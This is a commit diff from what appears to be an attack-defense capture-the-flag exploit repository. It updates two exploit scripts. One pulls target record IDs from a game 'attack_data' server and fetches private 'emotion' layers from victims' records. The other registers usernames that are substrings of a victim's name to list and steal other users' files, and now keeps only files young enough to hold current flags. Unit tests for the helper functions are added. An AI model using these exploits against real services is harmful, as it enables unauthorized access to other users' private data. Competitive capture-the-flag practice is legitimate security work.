fix(exploits): submit only current flags
- Filter Pamsave files by the active flag lifetime window. - Use Braindance attack-data record IDs instead of scanning history.
This commit is contained in:
1 parent
0b98b70bf9
commit
8f58bbef82
4 files changed
+82
-23
No files matched your search
@@ -0,0 +1,21 @@
|
|||||||
|
import unittest
|
||||||
|
|
||||||
|
import trailer_private
|
||||||
|
|
||||||
|
|
||||||
|
class AttackDataTests(unittest.TestCase):
|
||||||
|
def test_selects_current_unique_record_ids_for_target(self) -> None:
|
||||||
|
data = {
|
||||||
|
"braindance": {
|
||||||
|
"10.80.2.2": [
|
||||||
|
{"user": "alice", "record": "new-a"},
|
||||||
|
{"user": "bob", "record": "new-b"},
|
||||||
|
{"user": "alice", "record": "new-a"},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.assertEqual(trailer_private.attack_record_ids(data, "10.80.2.2"), ["new-a", "new-b"])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -12,13 +12,14 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import base64
|
import base64
|
||||||
import sys
|
import sys
|
||||||
from typing import Any
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
|
||||||
PORT = 5000
|
PORT = 5000
|
||||||
TIMEOUT = 4
|
TIMEOUT = 4
|
||||||
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||||
PRIVATE_LAYERS = "thermal,emotion"
|
PRIVATE_LAYERS = "thermal,emotion"
|
||||||
|
|
||||||
|
|
||||||
@@ -26,36 +27,34 @@ def log(message: str) -> None:
|
|||||||
print(message, file=sys.stderr, flush=True)
|
print(message, file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
def gallery(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
def attack_record_ids(data: dict, target: str) -> list[str]:
|
||||||
records: list[dict[str, Any]] = []
|
seen: set[str] = set()
|
||||||
before: str | None = None
|
result: list[str] = []
|
||||||
while True:
|
for row in data.get("braindance", {}).get(target, []):
|
||||||
params: dict[str, Any] = {"limit": 200}
|
record_id = str(row.get("record", ""))
|
||||||
if before:
|
if record_id and record_id not in seen:
|
||||||
params["before"] = before
|
seen.add(record_id)
|
||||||
response = session.get(f"{base}/gallery", params=params, timeout=TIMEOUT)
|
result.append(record_id)
|
||||||
response.raise_for_status()
|
return result
|
||||||
data = response.json()
|
|
||||||
records.extend(data.get("records", []))
|
|
||||||
before = data.get("next_cursor")
|
|
||||||
if not before:
|
|
||||||
return records
|
|
||||||
|
|
||||||
|
|
||||||
def run(target: str) -> int:
|
def run(target: str) -> int:
|
||||||
session = requests.Session()
|
session = requests.Session()
|
||||||
session.trust_env = False
|
session.trust_env = False
|
||||||
base = f"http://{target}:{PORT}"
|
base = f"http://{target}:{PORT}"
|
||||||
records = gallery(session, base)
|
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
||||||
|
record_ids = attack_record_ids(attack_data, target)
|
||||||
|
if not record_ids:
|
||||||
|
raise RuntimeError("no braindance attack_data for target")
|
||||||
leaked = 0
|
leaked = 0
|
||||||
|
|
||||||
for meta in records:
|
for rid in record_ids:
|
||||||
rid = str(meta["id"])
|
|
||||||
record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT)
|
record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT)
|
||||||
if record_response.status_code == 404:
|
if record_response.status_code == 404:
|
||||||
continue
|
continue
|
||||||
record_response.raise_for_status()
|
record_response.raise_for_status()
|
||||||
trailer = record_response.json().get("trailer") or {}
|
record = record_response.json()
|
||||||
|
trailer = record.get("trailer") or {}
|
||||||
signature = trailer.get("sig")
|
signature = trailer.get("sig")
|
||||||
if not signature:
|
if not signature:
|
||||||
continue
|
continue
|
||||||
@@ -73,9 +72,9 @@ def run(target: str) -> int:
|
|||||||
continue
|
continue
|
||||||
value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace")
|
value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace")
|
||||||
leaked += 1
|
leaked += 1
|
||||||
print(f"{meta.get('owner', '?')} {rid}: {value}")
|
print(f"{record.get('owner', '?')} {rid}: {value}")
|
||||||
|
|
||||||
log(f"target={target} records={len(records)} leaked={leaked}")
|
log(f"target={target} records={len(record_ids)} leaked={leaked}")
|
||||||
return 0 if leaked else 1
|
return 0 if leaked else 1
|
||||||
|
|
||||||
|
|
||||||
@@ -85,7 +84,7 @@ def main() -> int:
|
|||||||
return 2
|
return 2
|
||||||
try:
|
try:
|
||||||
return run(sys.argv[1])
|
return run(sys.argv[1])
|
||||||
except (KeyError, ValueError, requests.RequestException) as exc:
|
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
||||||
log(f"target={sys.argv[1]} error={exc}")
|
log(f"target={sys.argv[1]} error={exc}")
|
||||||
return 1
|
return 1
|
||||||
|
|
||||||
|
|||||||
@@ -5,12 +5,14 @@ import secrets
|
|||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
from collections.abc import Iterable
|
from collections.abc import Iterable
|
||||||
|
from datetime import datetime, timedelta, timezone
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||||
PORT = 8282
|
PORT = 8282
|
||||||
TIMEOUT = 4
|
TIMEOUT = 4
|
||||||
|
MAX_FLAG_AGE = timedelta(seconds=240)
|
||||||
|
|
||||||
|
|
||||||
def log(message: str) -> None:
|
def log(message: str) -> None:
|
||||||
@@ -43,9 +45,25 @@ def register_substring(session: requests.Session, base: str, victim: str, passwo
|
|||||||
raise RuntimeError("no available victim substring username")
|
raise RuntimeError("no available victim substring username")
|
||||||
|
|
||||||
|
|
||||||
|
def fresh_file_ids(rows: list[dict], now: datetime) -> list[str]:
|
||||||
|
cutoff = now - MAX_FLAG_AGE
|
||||||
|
result: list[str] = []
|
||||||
|
for row in rows:
|
||||||
|
try:
|
||||||
|
created_at = datetime.fromisoformat(str(row["created_at"]).replace("Z", "+00:00"))
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
if created_at.tzinfo is None:
|
||||||
|
created_at = created_at.replace(tzinfo=timezone.utc)
|
||||||
|
if created_at.astimezone(timezone.utc) >= cutoff:
|
||||||
|
result.append(str(row["id"]))
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
def list_files(session: requests.Session, base: str, token: str, workspace_id: str | None) -> list[str]:
|
def list_files(session: requests.Session, base: str, token: str, workspace_id: str | None) -> list[str]:
|
||||||
headers = {"Authorization": f"Bearer {token}"}
|
headers = {"Authorization": f"Bearer {token}"}
|
||||||
file_ids: set[str] = set()
|
file_ids: set[str] = set()
|
||||||
|
now = datetime.now(timezone.utc)
|
||||||
endpoints = ["/my-files"]
|
endpoints = ["/my-files"]
|
||||||
if workspace_id:
|
if workspace_id:
|
||||||
endpoints.append(f"/workspace/{workspace_id}/files")
|
endpoints.append(f"/workspace/{workspace_id}/files")
|
||||||
@@ -63,7 +81,10 @@ def list_files(session: requests.Session, base: str, token: str, workspace_id: s
|
|||||||
rows = response.json()
|
rows = response.json()
|
||||||
if not rows:
|
if not rows:
|
||||||
break
|
break
|
||||||
file_ids.update(str(row["id"]) for row in rows)
|
current_ids = fresh_file_ids(rows, now)
|
||||||
|
file_ids.update(current_ids)
|
||||||
|
if not current_ids:
|
||||||
|
break
|
||||||
return sorted(file_ids)
|
return sorted(file_ids)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,18 @@
|
|||||||
|
import unittest
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
|
||||||
|
import password_substring
|
||||||
|
|
||||||
|
|
||||||
|
class FreshFileTests(unittest.TestCase):
|
||||||
|
def test_keeps_only_files_younger_than_flag_window(self) -> None:
|
||||||
|
now = datetime(2026, 11, 29, 12, 0, tzinfo=timezone.utc)
|
||||||
|
rows = [
|
||||||
|
{"id": "fresh", "created_at": "2026-11-29T11:58:30"},
|
||||||
|
{"id": "expired", "created_at": "2026-11-29T11:54:00"},
|
||||||
|
]
|
||||||
|
self.assertEqual(password_substring.fresh_file_ids(rows, now), ["fresh"])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
Reference in new issue
Block a user